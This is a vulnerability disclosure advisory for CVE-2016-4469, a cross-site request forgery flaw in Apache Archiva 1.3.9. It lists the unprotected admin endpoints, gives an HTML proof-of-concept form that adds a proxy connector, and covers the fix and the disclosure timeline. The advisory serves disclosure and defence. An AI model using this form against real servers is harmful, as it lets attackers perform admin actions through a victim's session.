RCE Security Advisory https://www.rcesecurity.com 1. ADVISORY INFORMATION ======================= Product: Apache Archiva Vendor URL: https://archiva.apache.org Type: Cross-Site Request Forgery [CWE-253] Date found: 2016-05-31 Date published: 2016-07-11 CVSSv3 Score: 5.4 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N) CVE: CVE-2016-4469 2. CREDITS ========== This vulnerability was discovered and researched by Julien Ahrens from RCE Security. 3. VERSIONS AFFECTED ==================== Apache Archiva v1.3.9 older versions may be affected too. 4. INTRODUCTION =============== Apache Archiva™ is an extensible repository management software that helps taking care of your own personal or enterprise-wide build artifact repository. It is the perfect companion for build tools such as Maven, Continuum, and ANT. (from the vendor's homepage) 5. VULNERABILITY DETAILS ======================== The application basically offers a Cross-Site Request Forgery protection using the a Struts-based token called "token". While many administrative functionalities like adding new users are protected on this way, the following HTTP POST-based functions are missing this token and are therefore vulnerable to CSRF: Adding new repository proxy connectors: /archiva/admin/addProxyConnector_commit.action Adding new repositories: /archiva/admin/addRepository_commit.action Editing existing repositories: /archiva/admin/editRepository_commit.action Adding legacy artifact paths: /archiva/admin/addLegacyArtifactPath_commit.action Changing the organizational appearance: /archiva/admin/saveAppearance.action Uploading new artifacts: /archiva/upload_submit.action The following Proof-of-Concept triggers this vulnerability and adds a new proxy connector called "CSRF": <html> <body> <form action="http://localhost:8080/archiva/admin/addProxyConnector_commit.action"; method="POST"> <input type="hidden" name="pattern" value="" /> <input type="hidden" name="connector.order" value="0" /> <input type="hidden" name="connector.proxyId" value="(direct connection)" /> <input type="hidden" name="connector.sourceRepoId" value="CSRF" /> <input type="hidden" name="connector.targetRepoId" value="maven2-repository.dev.java.net" /> <input type="hidden" name="connector.policies['propagate-errors-on-update']" value="always" /> <input type="hidden" name="connector.policies['cache-failures']" value="no" /> <input type="hidden" name="connector.policies['releases']" value="always" /> <input type="hidden" name="connector.policies['propagate-errors']" value="stop" /> <input type="hidden" name="connector.policies['checksum']" value="fail" /> <input type="hidden" name="connector.policies['snapshots']" value="always" /> <input type="hidden" name="propertyKey" value="" /> <input type="hidden" name="propertyValue" value="" /> <input type="hidden" name="blackListPattern" value="" /> <input type="hidden" name="whiteListPattern" value="" /> <input type="submit" value="Submit request" /> </form> </body> </html> 6. RISK ======= To successfully exploit this vulnerability a user with administrative rights must be tricked into visiting an arbitrary website while having an authenticated session in the application. The vulnerability allows remote attackers to perform sensitive administrative actions like adding new repository proxy connectors, adding new repositories, editing existing repositories, adding legacy artifact paths, changing the organizational appearance or uploading new artifacts in the authentication context of the targeted user. 7. SOLUTION =========== Upgrade/Migrate to Apache Archiva 2.2.1 8. REPORT TIMELINE ================== 2016-05-31: Discovery of the vulnerability 2016-05-31: Notified vendor via public security mail address 2016-06-06: No response, sent out another notification 2016-06-10: Vendor states that this version is out of support 2016-06-21: Vendor assigns CVE-2016-4469 2016-07-11: Advisory released 9. REFERENCES ============= https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4469
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